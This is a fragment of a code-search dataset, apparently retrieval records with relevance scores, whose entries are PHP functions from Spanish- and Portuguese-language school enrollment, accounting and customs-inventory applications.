"title": "" }, { "docid": "07291dc53e616ca69dc20918f4318352", "score": "0.54333735", "text": "public function formIncluirMatricula()\n\t{\n\t\t$arrCurso = $this->curso_model->listarCursos(1);\n\t\t$arrAluno = $this->aluno_model->listarAluno(1);\n\t\t$arrInfoUnidade = $this->unidade_model->buscarUnidade();\n\n\t\t$arrDados = array(\n\t\t\t'arrCurso' => $arrCurso, \n\t\t\t'arrAluno' => $arrAluno,\n\t\t\t'arrInfoUnidade' => $arrInfoUnidade\n\t\t);\n\n\t\t$this->load->view('matricula/frm_incluir_matricula_view', $arrDados);\n\t}", "title": "" }, { "docid": "d551bf7fc965f0a89582c60247818e46", "score": "0.5430378", "text": "function matrizRetiroCuerpo($arregloDatos, &$datos, &$plantilla) {\n $this->setValores($arregloDatos, $datos, $plantilla);\n $unNacional = new Levante();\n $unNacional->getNacional($arregloDatos);\n //Nacional\n $unNacional->fetch();\n $peso_nacional = $unNacional->peso;\n $cantidad_nacional = $unNacional->cantidad;\n $arregloDatos[tot_peso_nal] = number_format(abs($unNacional->peso ), DECIMALES, \".\", \",\");\n $arregloDatos[tot_cant_nal] = number_format(abs($unNacional->cantidad ), DECIMALES, \".\", \",\");\n\n //Desperdicios --->DESDE AQUI\n $unNacional->peso = 0;\n $unNacional->cantidad = 0;\n $unNacional->getDesperdicios($arregloDatos);\n $unNacional->fetch();\n $peso_desperdicios = $unNacional->peso;\n $cantidad_desperdicios = $unNacional->cant;\n $arregloDatos[pesod_f] = number_format(abs($unNacional->peso_naci ), DECIMALES, \".\", \",\");\n $arregloDatos[cantidadd_f] = number_format(abs($unNacional->cantidad_naci ), DECIMALES, \".\", \",\");\n if($unNacional->peso_nonac <> 0) {\n $arregloDatos[ld_ext] = \" [EXT] \";\n $arregloDatos[des_cantidad_ext] = number_format($unNacional->cantidad_nonac, DECIMALES, \".\", \",\");\n $arregloDatos[des_peso_ext] = number_format($unNacional->peso_nonac, DECIMALES, \".\", \",\");\n }\n //Nacionalizado\n $arregloDatos[t_peso_nac] = $this->tot_peso_nac-$peso_nacional; // se quita el peso nacional\n $arregloDatos[t_peso_nac] = number_format(abs($arregloDatos[t_peso_nac] ), DECIMALES, \".\", \",\");\n\t\n $arregloDatos[t_cant_nac] = $this->tot_cant_nac-$cantidad_nacional; // se quita el peso nacional\n $arregloDatos[t_cant_nac] = number_format(abs($arregloDatos[t_cant_nac] ), DECIMALES, \".\", \",\");\n\t\n //Ajustes\n $unAjuste = new Levante();\n $unAjuste->getAjustes($arregloDatos);\n $unAjuste->fetch();\n\tif(empty($unAjuste->peso_naci)){\n\t\t$unAjuste->peso_naci=0;\n\t }\n\t //echo \"XX$unAjuste->cantidad_naci <BR>\";\n\tif(empty($unAjuste->cantidad_naci)){\n\t\t$unAjuste->cantidad_naci=0;\n\t }\n\n $arregloDatos[ajustes_peso] = number_format($unAjuste->peso_naci, DECIMALES, \".\", \",\"); \n $arregloDatos[ajustes_cantidad] = number_format($unAjuste->cantidad_naci, DECIMALES, \".\", \",\");\n if($unAjuste->peso_nonac <> 0) {\n $arregloDatos[l_ext] = \" [EXT] \";\n $arregloDatos[ajustes_cantidad_ext] = number_format($unAjuste->cantidad_nonac, DECIMALES, \".\", \",\");\n $arregloDatos[ajustes_peso_ext] = number_format($unAjuste->peso_nonac, DECIMALES, \".\", \",\");\n }\t\n\n // Desperdicios\n $this->mantenerDatos($arregloDatos, $plantilla);\n }", "title": "" }, { "docid": "61915c2f1dfe28d18eb5bf7ab4e049d6", "score": "0.5426854", "text": "public function run()\n {\n\n $matrizes = MatrizCurricular::all();\n\n foreach ($matrizes as $matriz) {\n\n // cria 3 módulos pra cada matriz\n for ($i=1;$i<=3;$i++) {\n $modulo = new ModuloMatriz();\n\n $modulo->mdo_mtc_id = $matriz->mtc_id;\n $modulo->mdo_nome = 'Módulo '.$i;\n $modulo->mdo_descricao = 'Módulo '.$i.' da '.$matriz->mtc_nome;\n $modulo->mdo_qualificacao = 'Qualificado';\n $modulo->mdo_cargahoraria_min_eletivas = 0;\n $modulo->mdo_creditos_min_eletivas = 0;\n\n $modulo->save();\n }\n }\n }", "title": "" }, { "docid": "1f01ad191ea749972c59da56195bb067", "score": "0.5423441", "text": "function recorrerMatrizPlanCuentas() {\n\t\t\t\n\t\t\t\tglobal $res,$matriz;\n\t\t\t\t\tfor($pos=0;$pos < mysql_num_rows($res); $pos++) {\n\n\t\t\t\t\t$anio= $matriz[\"anio\"][$pos] ;\n\t\t\t\t\t$compania= $_SESSION[\"compania\"];\n\t\t\t\t\t$cuenta= $matriz[\"cuenta\"][$pos] ;\n\t\t\t\t\t$cuenta = eliminarCaracteresEspeciales($cuenta);\n\t\t\t\t\t$nombre= $matriz[\"nombre\"][$pos] ;\n\t\t\t\t\t$nombre = eliminarCaracteresEspeciales($nombre);\n\t\t\t\t\t$nombre = str_replace(\"?\",\"&Ntilde;\",$nombre);\n\t\t\t\t\t\n\t\t\t\t\t$naturaleza = $matriz[\"naturaleza\"][$pos] ;\n\t\t\t\t\t$naturaleza = eliminarCaracteresEspeciales($naturaleza);\n\t\t\t\t\t\tif ($naturaleza == \"CREDITO\") {\n\t\t\t\t\t\t\t$naturaleza = \"Credito\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($naturaleza == \"DEBITO\") {\n\t\t\t\t\t\t\t$naturaleza = \"Debito\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t$tipo= $matriz[\"tipo\"][$pos] ;\n\t\t\t\t\t$tipo = eliminarCaracteresEspeciales($tipo);\n\t\t\t\t\t\tif ($tipo == \"TITULO\"){\n\t\t\t\t\t\t\t$tipo = \"Titulo\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($tipo == \"DETALLE\"){\n\t\t\t\t\t\t\t$tipo = \"Detalle\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$centrocostos= $matriz[\"centrocostos\"][$pos] ;\n\t\t\t\t\t$centrocostos = eliminarCaracteresEspeciales($centrocostos);\n\t\t\t\t\t\tif ($centrocostos== \"ON\"){\n\t\t\t\t\t\t\t$centrocostos= \"on\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($centrocostos== \"OFF\"){\n\t\t\t\t\t\t\t$centrocostos= \"off\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\t\n\t\t\t\t\t$corriente= $matriz[\"corriente\"][$pos] ;\n\t\t\t\t\t$corriente = eliminarCaracteresEspeciales($corriente);\n\t\t\t\t\t\tif ($corriente== \"ON\"){\n\t\t\t\t\t\t\t$corriente= \"on\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($corriente== \"OFF\"){\n\t\t\t\t\t\t\t$corriente= \"off\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$banco= $matriz[\"banco\"][$pos] ;\n\t\t\t\t\t\n\t\t\t\t\t$diferido= $matriz[\"diferido\"][$pos] ;\n\t\t\t\t\t$diferido = eliminarCaracteresEspeciales($diferido);\n\t\t\t\t\t\tif ($diferido== \"NO\"){\n\t\t\t\t\t\t\t$diferido= \"no\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\telseif ($diferido== \"SI\"){\n\t\t\t\t\t\t\t$diferido= \"si\";\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$tercero= $matriz[\"tercero\"][$pos] ;\n\t\t\t\t\t$nombanco= $matriz[\"nombanco\"][$pos] ;\n\t\t\t\t\t$numcuenta= $matriz[\"numcuenta\"][$pos] ;\n\t\t\t\t\t$numcuenta = eliminarCaracteresEspeciales($numcuenta);\n\t\t\t\t\t$destinacion= $matriz[\"destinacion\"][$pos] ;\n\t\t\t\t\t$destinacion = eliminarCaracteresEspeciales($destinacion);\n\t\t\t\t\t$ftefinanciacion= $matriz[\"ftefinanciacion\"][$pos] ;\t\t\t\t\t\n\t\t\t\t\t$ftefinanciacion = eliminarCaracteresEspeciales($ftefinanciacion);\n\t\t\t\t\t\tif ($ftefinanciacion==\"\") {\n\t\t\t\t\t\t\t$ftefinanciacion = 'NULL';\n\t\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$cod1001= $matriz[\"cod1001\"][$pos] ;\n\t\t\t\t\t$cod1001 = eliminarCaracteresEspeciales($cod1001);\n\t\t\t\t\t$cod1002= $matriz[\"cod1002\"][$pos] ;\n\t\t\t\t\t$cod1002 = eliminarCaracteresEspeciales($cod1002);\n\t\t\t\t\t\n\t\t\t\t\tinsertarPUC($anio, $compania, $cuenta, $nombre, $naturaleza, $tipo, $centrocostos, $corriente, $banco, $diferido, $tercero, $nombanco, $numcuenta, $destinacion, $ftefinanciacion, $cod1001, $cod1002);\n\t\t\t\t\t\n\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\n\t\t\t}", "title": "" }, { "docid": "858c1a049532f4a5d7cb961a94fe73f9", "score": "0.5397961", "text": "public abstract function mostrar_plantillas();", "title": "" }, { "docid": "ceed169fb442d87b5a488354d1b0f2e0", "score": "0.5374142", "text": "public function geraPontuacaoCaracteristicaEmpreendedora() \n {\n $this->getDadosGrade();\n \n $this->renderizaTabela(); \n }", "title": "" }, { "docid": "773771482a13b86f96a2ddf20e802054", "score": "0.53680795", "text": "public function run()\n {\n $regular = new StatusMatricula();\n $regular -> status = 'Regular';\n $regular -> save();\n\n $irregular = new StatusMatricula();\n $irregular -> status = 'Irregular';\n $irregular -> save();\n\n $afastado = new StatusMatricula();\n $afastado -> status = 'Afastado';\n $afastado -> save();\n\n $egresso = new StatusMatricula();\n $egresso -> status = 'Egresso';\n $egresso -> save();\n\n $outro = new StatusMatricula();\n $outro -> status = 'Outro';\n $outro -> save();\n }", "title": "" }, { "docid": "4df87cca05f719d934d118bde4b47110", "score": "0.5360419", "text": "public function vistacalificar($id) {\n $acti = Actividad::find($id);\n $acti->seccion->grupoav->periodoacademico;\n $acti->seccion->grupoav->asignatura;\n $acti->examen;\n $est = $acti->seccion->grupoav->matestudiantes;\n if (count($est) > 0) {\n $estudiantes = null;\n $nro = 0;\n foreach ($est as $e) {\n $pn = $e->estudiante->personanatural;\n $a = null;\n $nro = $nro + 1;\n $a['nro'] = $nro;\n $a['id'] = $e->estudiante_id;\n $a['nombre'] = $pn->primer_nombre . \" \" . $pn->segundo_nombre . \" \" . $pn->primer_apellido . \" \" . $pn->segundo_apellido;\n $a['ident'] = $pn->persona->numero_documento;\n $estudiantes[] = $a;\n }\n return view('aula_virtual.panel_docente.examencalificar')\n ->with('location', 'menu-aulavirtual-doc')\n ->with('acti', $acti)\n ->with('est', $estudiantes);\n } else {\n flash(\"No hay estudiantes matriculados en el grupo\")->success();\n return redirect()->route('panel.docente', [$acti->seccion->grupoav->asignatura_codigomateria, $acti->seccion->grupoav->id, $acti->seccion->grupoav->periodoacademico_id]);\n }\n }", "title": "" }, { "docid": "307908c4c12833d9139b30bf6cab61c9", "score": "0.53585", "text": "function matriz($arregloDatos) {\n $sql = \"SELECT imm.codigo AS num_levante,\n lev_bultos,\n imm.fecha,\n imm.destinatario,\n imm.obs,\n clientes.razon_social,\n clientes.numero_documento AS nit,\n imm.producto,\n referencias.codigo,\n\t\t\t\t\treferencias.ref_prove,\n referencias.nombre AS nombre_producto,\n imm.cantidad,\n imm.cantidad_nac,\n imm.cantidad_ext,\n imm.doc_tte,\n imm.peso,\n imm.valor,\n imm.unidad,\n imm.bodega,\n imm.orden,\n imm.cierre,\n imm.fmm,\n imm.orden,\n imm.valor,\n imm.pos_arancelaria\n FROM inventario_maestro_movimientos imm\n LEFT JOIN clientes ON imm.lev_sia = clientes.numero_documento\n LEFT JOIN referencias ON imm.producto = referencias.codigo\n WHERE imm.codigo = $arregloDatos[id_levante]\";\n//echo $sql;\n $this->query($sql);\n if($this->_lastError) {\n $this->mensaje = \"error al consultar Maestro de Movimientos \" . $sql;\n echo $sql . \"<br>\";\n $this->estilo = $this->estilo_error;\n return TRUE;\n }\n }", "title": "" }, { "docid": "1d50b8c47b00d0ee159f32ec5b1973ce", "score": "0.5351307", "text": "function CambiarValorTabla(&$registros_tabla,$cambiar_valor,$indice){\r\n //convierte la cadena a un vector\r\n $parametros_cambiar = explode(\",\",$cambiar_valor);\r\n\r\n for($i=0;$i < count($parametros_cambiar);$i+=4){\r\n\r\n\r\n //llama la clase de la tabla\r\n $gateway = Application::getDataGateway($parametros_cambiar[$i+1]);\r\n //optiene todos los datos de la tabla\r\n $datos = call_user_func(array($gateway,\"getAll\".$parametros_cambiar[$i+1]));\r\n for($z=0;$z < count($datos);$z++){\r\n //cambia el valor del vector por el nombre si los codigos son iguales\r\n if($registros_tabla[$indice][$parametros_cambiar[$i]] == $datos[$z][$parametros_cambiar[$i+2]] ){\r\n $registros_tabla[$indice][$parametros_cambiar[$i]] = $datos[$z][$parametros_cambiar[$i+3]];\r\n break;\r\n }\r\n //$z++;\r\n }\r\n\r\n }\r\n}", "title": "" }, { "docid": "de5389c155ec34e4332025f04b35a095", "score": "0.5337178", "text": "public abstract function generar_vista();", "title": "" }, { "docid": "31e71f8db142359c1749a2f459163c9e", "score": "0.5333233", "text": "public function piccreaproyectos()//funcion que precarga los datos de los indicadores veredales y las categorias\n\t{\n\t\t\t$DEPARTAMENTOS = DB::table('DEPARTAMENTOS')\n\t\t\t->select('COD_DPTO','NOM_DPTO')\n\t\t\t->orderby('NOM_DPTO','asc')\n\t\t\t->get();\n\t\t\t$arraydepto['']='Seleccione uno';\n\t\t\tforeach($DEPARTAMENTOS as $pro)\n\t\t\t{\n\t\t\t\t$arraydepto[$pro->COD_DPTO] = $pro->NOM_DPTO;\n\t\t\t}\n\n\t\t\t$TIPOTERR = DB::table('MODART_PIC_TIPOTERR')\n\t\t\t->select('id','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\t\t\tforeach($TIPOTERR as $pro)\n\t\t\t{\n\t\t\t\t$arraytipoterr[$pro->id] = $pro->nombre;\n\t\t\t}\n\n $CATEGORIA = DB::table('MODART_PIC_CATEGORIA')\n\t\t\t->select('id','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\t\t\t$result_cate = array();\n\t\t\tforeach($CATEGORIA as $pro)\n\t\t\t{\n\t\t\t\t $result_cate[$pro->id][] = $pro->nombre;\n\t\t\t}\n\n\t\t\t$SUBCATEGORIA = DB::table('MODART_PIC_SUBCATEGORIA')\n\t\t\t->select('id','id_categ','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\n\t\t\t$MUNICIPIOS = DB::table('MUNICIPIOS')\n\t\t\t->select('COD_DPTO','COD_DANE','NOM_MPIO_1')\n\t\t\t->orderby('NOM_MPIO_1','asc')\n\t\t\t->get();\n\t\t\t$arraymuni['']='Seleccione uno';\n\t\t\tforeach($MUNICIPIOS as $pro)\n\t\t\t{\n\t\t\t\t$arraymuni[$pro->COD_DANE] = $pro->NOM_MPIO_1;\n\t\t\t}\n\n\t\t\t$NUCLEOS = DB::table('MODART_PIC_NUCLEOS')\n\t\t\t->select('id_nucleo','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\t\t\t$arraynucleos['']='Seleccione uno';\n\t\t\tforeach($NUCLEOS as $pro)\n\t\t\t{\n\t\t\t\t $arraynucleos[$pro->id_nucleo] = $pro->nombre;\n\t\t\t}\t\t\t\t\n\n\t\t\t$FOCALIZACION = DB::table('MODART_PIC_FOCALIZACION')\n\t\t\t->select('id','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\t\t\tforeach($FOCALIZACION as $pro)\n\t\t\t{\n\t\t\t\t$arrayfocali[$pro->id] = $pro->nombre;\n\t\t\t}\n\n\t\t\t$ESTADOPROY = DB::table('MODART_PIC_ESTADOPROY')\n\t\t\t->select('id','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\t\t\t$arrayestado['']='Seleccione uno';\n\t\t\tforeach($ESTADOPROY as $pro)\n\t\t\t{\n\t\t\t\t$arrayestado[$pro->id] = $pro->nombre;\n\t\t\t}\n\n\n\n\t\t\t$subsubcate = DB::table('MODART_PIC_SUBSUBCATEGORIA')\n\t\t\t->select('id','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->get();\n\t\t\t$arraysubsubcate['']='Seleccione uno';\n\t\t\tforeach($subsubcate as $pro)\n\t\t\t{\n\t\t\t\t$arraysubsubcate[$pro->id] = $pro->nombre;\n\t\t\t}\n\n\t\t\t$socio = DB::table('MODART_PIC_SOCIOS')\n\t\t\t->select('id','nombre')\n\t\t\t->orderby('nombre','asc')\n\t\t\t->where('id','!=',1)\n\t\t\t->get();\n\t\t\tforeach($socio as $pro)\n\t\t\t{\n\t\t\t\t$arraysocio[$pro->id] = $pro->nombre;\n\t\t\t}\n\n\n\t\t\t$arrayindipic = DB::table('MODART_PIC_PROYPRIORIZ')\t\n\t\t\t->select(DB::raw(\"concat('PIC_',cod_nucleo,id_proy) as ID, id_proy,cod_depto,cod_mpio,id_usuario,cod_nucleo,id_subcat,nom_proy,alcance,estado_proy,prec_estim,cofinanc,fecha_ingreso\"))\n\t\t\t->where('id_usuario','=',Auth::user()->id)\n\t\t\t->orderby('id_proy','desc')\n\t\t\t->get();\t\n\n\n\t\t\t\n\n\t\treturn View::make('moduloart.ivsocifichapriorizadaproy', array('arraydepto' => $arraydepto,'arraytipoterr' => $arraytipoterr,'arraynucleos' => $arraynucleos,'arraycate' => $result_cate,'arraymuni' => $arraymuni,'arraysubcate' => $SUBCATEGORIA,'arrayfocali'=>$arrayfocali,'arrayestado' => $arrayestado,'arrayindipic' => $arrayindipic,'arraysubsubcate' => $arraysubsubcate,'arraysocio'=>$arraysocio));\t\t\n\t}", "title": "" }, { "docid": "a8e454a06cd0f13554fc1bc3e0feb745", "score": "0.53140426", "text": "function resumenComisionistas(){\r\n $this->procedimiento = 'vef.ft_rep_comisionistas_sel';\r\n $this->transaccion = 'VEF_RESUCOMISI_SEL';\r\n $this->tipo_procedimiento = 'SEL';//tipo de transaccion\r\n\r\n $this->setCount(false);\r\n\r\n $this->setParametro('filtro_sql', 'filtro_sql', 'varchar');\r\n $this->setParametro('id_periodo', 'id_periodo', 'integer');\r\n $this->setParametro('tipo_reporte', 'tipo_reporte', 'varchar');\r\n $this->setParametro('fecha_ini', 'fecha_ini', 'date');\r\n $this->setParametro('fecha_fin', 'fecha_fin', 'date');\r\n $this->setParametro('id_gestion', 'id_gestion', 'integer');\r\n $this->setParametro('id_periodo_inicio', 'id_periodo_inicio', 'integer');\r\n $this->setParametro('id_periodo_final', 'id_periodo_final', 'integer');\r\n\r\n\r\n //Definicion de la lista del resultado del query\r\n $this->captura('nit', 'varchar');\r\n $this->captura('total_acumulado', 'numeric');\r\n $this->captura('mes_envio', 'varchar');\r\n $this->captura('gestion', 'integer');\r\n $this->captura('mes_inicio', 'varchar');\r\n $this->captura('mes_final', 'varchar');\r\n\r\n\r\n //Ejecuta la instruccion\r\n $this->armarConsulta();\r\n //echo($this->consulta); exit;\r\n $this->ejecutarConsulta();\r\n\r\n //Devuelve la respuesta\r\n return $this->respuesta;\r\n }", "title": "" }, { "docid": "b82a1da0da996e439fe9750a87ab021d", "score": "0.52870584", "text": "public function fillDataEnterpriseEs1(){\n\t\tsession_start();\n\t\t$validaMateria=\"\";\n\t\t$getData = $this->myModel->validate_materia_aprobada($_SESSION['matr'],1);\n\t\tforeach ($getData as $dato) {\n \t$validaMateria=$dato['estado_pro'];\n }\n if ($validaMateria==\"ACTIVADA\") { #cambiar el estado [ASESOR]\n\t\t\trequire_once 'views/headerAlumno.inc';\t\t\n\t\t\t$datos = $this->myModel->get_list_enterprises();\n\t\t\trequire_once 'views/fillDataEnterpriseE1.php';\n\t\t\trequire_once 'views/footerAlumno.inc';\n }else if($validaMateria==\"VALIDADO\"){\n \trequire_once 'views/headerAlumno.inc';\n \t$myController = new controller();\n\t\t\t$myController->formDocumentsEstancias1();\t\t\t\t\n \trequire_once 'views/footerAlumno.inc';\n\t\t}else{\n\t\t\trequire_once 'views/headerAlumno.inc';\n \techo \"<h3>No esta habilitado este proceso</h3>\";\n \trequire_once 'views/footerAlumno.inc';\n\n\t\t}\n\t}", "title": "" }, { "docid": "f1eb5ccf0089d85822c8b385c070a3b0", "score": "0.52859235", "text": "public function matricularCongressista(){\n\t\tsession_start();\n\t\t$id = $this->model->recuperaId($_SESSION['fid_usuario']);\n\t\t$result = $this->model->matricularCongressistaAtividade($id);\n\t\t\n\t\t\n\t\tif ($result > 0) { \n\t\t \t$arr = array ('tipo'=>1,'mensagem'=>\"Matrícula efetuada com sucesso!\",'redirecionar'=>\"sistema.php?acao=congressista/listagemAtividadeCadastrada\"); \n\t\t \techo json_encode($arr); \n\t\t}\n\t\tif($result == 0) { \n\t\t\t$arr = array ('tipo'=>0,'mensagem'=>\"Não foi possivel efetuar o cadastro.\"); \n\t\t\techo json_encode($arr); \n\t\t}\n\t}", "title": "" }, { "docid": "23335f4a8fe6528728c1af8f352d5bd2", "score": "0.528345", "text": "public function actionCreate()\n {\n $model = new Matriz();\n $session = Yii::$app->session;\n $curso = Curso::findOne($session['curso_id']);\n $model->CURSO_ID = $curso->id;\n\n if ($model->load(Yii::$app->request->post()) && $model->save()) {\n return $this->redirect(['curso/view', 'id' => $curso->id]);\n }\n\n return $this->render('create', [\n 'model' => $model,\n 'curso' => $curso,\n ]);\n }", "title": "" }, { "docid": "119b54d8d1b096f3cbe2da2133952d42", "score": "0.52787286", "text": "public function fillDataEnterpriseEstadias(){\n\t\tsession_start();\n\t\t$validaMateria=\"\";\n\t\t$getData = $this->myModel->validate_materia_aprobada($_SESSION['matr'],3);\n\t\tforeach ($getData as $dato) {\n \t$validaMateria=$dato['estado_pro'];\n }\n if ($validaMateria==\"ACTIVADA\") { #cambiar el estado [ASESOR]\n\t\t\trequire_once 'views/headerAlumno.inc';\t\t\n\t\t\t$datos = $this->myModel->get_list_enterprises();\n\t\t\trequire_once 'views/fillDataEnterpriseEstad.php'; \n\t\t\trequire_once 'views/footerAlumno.inc';\n }else if($validaMateria==\"VALIDADO\"){\n \trequire_once 'views/headerAlumno.inc';\n \t$myController = new controller();\n\t\t\t$myController->formDocumentsEstad();\t\n \trequire_once 'views/footerAlumno.inc';\n\t\t}else{\n\t\t\trequire_once 'views/headerAlumno.inc';\n \techo \"<h3>No esta habilitado este proceso</h3>\";\n \trequire_once 'views/footerAlumno.inc';\n\n\t\t}\n\t}", "title": "" }, { "docid": "438a08fea2e50a2d2a9f65a95549bd65", "score": "0.5260112", "text": "static public function mdlIngresarMatricula($tabla, $datos){\n\n\t\t$stmt = Conexion::conectar()->prepare(\"INSERT INTO $tabla(id_alumno,id_seccion,activo) VALUES (:id_alumno,:id_seccion,1)\");\n\n\t\t$stmt->bindParam(\":id_alumno\", $datos[\"id_alumno\"], PDO::PARAM_STR);\n\t\t$stmt->bindParam(\":id_seccion\", $datos[\"id_seccion\"], PDO::PARAM_STR);\n\t\t\n\t\tif($stmt->execute()){\n\n\t\t\treturn \"ok\";\t\n\n\t\t}else{\n\n\t\t\treturn \"error\";\n\t\t\n\t\t}\n\n\t\t$stmt->close();\n\t\t\n\t\t$stmt = null;\n\n\t}", "title": "" }, { "docid": "d59c2f62c29214114476c5960eef6de1", "score": "0.5241942", "text": "public function actionVectorcreaencuesta(){\n\n include('/var/www/html/crm_dev/controllers/proyecto/movistar/vectorAA.php');\n $idInstrumento = '1';\n $cad = '';\n\n $i = 0;\n $vctAux[] = 'Fecha de Atención';\n $vctAux[] = 'AGENTE';\n $vctAux[] = 'MOVIL';\n $vctAux[] = 'NOMBRE';\n $vctAux[] = 'Codigo de Vendedor';\n $vctAux[] = 'ZONA';\n $vctAux[] = 'ID ZONA';\n $vctAux[] = 'FECHA';\n $vctAux[] = 'HORA_INICIO';\n $vctAux[] = 'HORA_FIN';\n foreach( $vctAux as $v ) \n $sqls[$i++] = \"insert into movistar.cabecera (id_instrumento, de, columna, orden) values ('\" .$idInstrumento .\"', '\" .$v .\"', '\" .$this->columna($i) .\"', '\" .$i .\"');\";\n foreach( $vct as $k=>$v )\n if( is_array($v) ){\n $sqls[$i++] = \"insert into movistar.cabecera (id_instrumento, de, columna, orden) values ('\" .$idInstrumento .\"', '\" .$k .\"', '\" .$this->columna($i) .\"', '\" .$i .\"');\";\n $cad .= $sqls[$i -1] .'<br>';\n }\n $sqls[$i++] = \"insert into movistar.cabecera (id_instrumento, de, columna, orden) values ('\" .$idInstrumento .\"', 'Teleoperador', '\" .$this->columna($i) .\"', '\" .$i .\"');\";\n $cad .= '<br>Cantidad: ' .$i .'<br>';\n foreach( $sqls as $sql ) Aux::findBySql($sql)->one();\n\n\n \n $pregunta_cod = array();\n $pregunta_txt = array();\n $opcion = array();\n $opcion_next = array();\n $pregunta_tp = array();\n\n $cad .= '<br>Cantidad: '.count($vct).'<br>';\n foreach( $vct as $k=>$v ){\n $pregunta_cod[] = $k;\n // $pregunta_txt[] = $v['_0'];\n if( is_array($v) && count($v) > 1 ){\n $aux = explode('::', $v['_0']);\n if( count($aux) > 1 ) $link = \"'\" .$aux[1] .\"'\";\n else $link = 'null';\n $sql = \"insert into movistar.entrada (id_instrumento, id_pregunta_tp, de, codigo, ir_a) values ('\" .$idInstrumento .\"','4','\".$aux[0].\"','\".$k.\"',\" .$link .\");\";\n $cad .= $sql .'<br>';\n Aux::findBySql($sql)->one();\n $sql = \"select id from movistar.entrada where id_instrumento='\" .$idInstrumento .\"' and id_pregunta_tp='4' and de='\".$aux[0].\"' and codigo='\".$k.\"' order by id DESC limit 1;\";\n $e = Aux::findBySql($sql)->one();\n \n $cad .= '<br><br><br><br><br>' .count($v) ;\n foreach($v as $kk => $vv){\n if( $kk != '_0' ){\n $cad .= $kk.' = '.$vv.'<br>' ;\n $aux = explode('::', $vv);\n if( count($aux) > 1 ) $link = \"'\" .$aux[1] .\"'\";\n else $link = 'null';\n $sql = \"insert into movistar.entrada_op (id_entrada, de, valor, ir_a) values ('\" .$e->id .\"','\" .$aux[0] .\"','\" .$kk .\"',\" .$link .\");\";\n Aux::findBySql($sql)->one();\n $cad .= $sql .'<br>';\n }\n }\n }else if( is_array($v) && count($v) == 1 ){\n $aux = explode('::', $v['_0']);\n if( count($aux) > 1 ) $link = \"'\" .$aux[1] .\"'\";\n else $link = 'null';\n $sql = \"insert into movistar.entrada (id_instrumento, id_pregunta_tp, de, codigo, ir_a) values ('\" .$idInstrumento .\"','2','\".$aux[0].\"','\".$k.\"',\" .$link .\");\";\n Aux::findBySql($sql)->one();\n $cad .= $sql .'<br>';\n }else{\n $aux = explode('::', $v);\n if( count($aux) > 1 ) $link = \"'\" .$aux[1] .\"'\";\n else $link = 'null';\n $sql = \"insert into movistar.entrada (id_instrumento, id_pregunta_tp, de, codigo, ir_a) values ('\" .$idInstrumento .\"','1','\" .$aux[0] .\"','\" .$k .\"',\" .$link .\");\";\n Aux::findBySql($sql)->one();\n $cad .= $sql .'<br>';\n }\n }\n // id_entrada, de , valor ,orden\n echo $cad;\n }", "title": "" }, { "docid": "c32a29683d6aac8a0ecfafcf910736fb", "score": "0.5238427", "text": "public function flistaAlumnosGrupo(){\n\t\t//Nombre, materias, profesor, grupo, periodo, plan estudio, horario, fecha\n\n\t //Obtener las materias y la info de ellas\n\t $grupo = $this->input->post('grupo');\n\t\t$_SESSION['group'] = $grupo;\n\t\t//Obtener los alumnos de ese grupo\n\t\t$this->alumnos = $this->ModelosP->ObtenAlumnosGrupo($grupo);\n\t\t\n\t\t//Cargar la vista para desplegar el reporte (Desde la vista se genera el PDF)\n\t\t$this->load->view('VRepoAlumnosGrupo', $this->alumnos);\n\n\t}", "title": "" }, { "docid": "62605594b788f5865454c255254e25ff", "score": "0.52368283", "text": "public function mostraralumnosgestormatriculaAction()\n {\n $em= $this->getDoctrine()->getEntityManager();\n $request= $this->getRequest();\n $sede=$request->get(\"sede_id\",'*'); \n $grado=$request->get('grado_id','*');\n $grupo=$request->get('grupo_id','*');\n $repository = $this->getDoctrine()\n ->getRepository('NetpublicCoreBundle:Alumno'); \n $query = $repository->createQueryBuilder('a'); \n //$query=$query->join(\"u.alumno\",\"a\");\n if($grupo!='*'){\n $query = $query->andWhere(\"a.grupo=:grupo_id\") \n ->setParameter('grupo_id',$grupo);\n }\n if($grado!='*'){\n $query = $query->andWhere(\"a.grado=:grado_id\") \n ->setParameter('grado_id',$grado);\n }\n if($sede!='*'){\n $query = $query->andWhere(\"a.sede=:sede_id\") \n ->setParameter('sede_id',$sede);\n }\n\n $query=$query->orderBy('a.apellido', 'ASC');\n $query=$query->setMaxResults(160);\n $query = $query->getQuery(); \n $alumnos= $query->getResult();\n $anos_escolares=$em->getRepository(\"NetpublicCoreBundle:Dimension\")->findAnoEscolares();\n $grados=$em->getRepository(\"NetpublicCoreBundle:Grado\")->findAll();\n $grupos=$em->getRepository(\"NetpublicCoreBundle:Grupo\")->findAll();\n \n /*foreach ($alumnos as $alumno) {\n foreach ($anos_escolares as $ano) {\n $matricula_ano= $em->getRepository(\"NetpublicCoreBundle:MatriculaAlumno\")->findBy(array(\n 'ano'=>$ano->getId(),\n 'alumno'=>$alumno->getId()\n ));\n if ($matricula_ano) {\n ;\n }\n else{\n $matricula=new \\Netpublic\\CoreBundle\\Entity\\MatriculaAlumno();\n $matricula->setGrupo($alumno->getGrupo());\n $matricula->setAlumno($alumno);\n $matricula->setAno($ano);\n $matricula->setEsMatricula(TRUE);\n $matricula->setEsPagoMatricula(TRUE);\n $matricula->setEsPapeles(TRUE);\n $matricula->setEsMatricula(TRUE);\n $matricula->setObservaciones(\"..\");\n $em->persist($matricula); \n 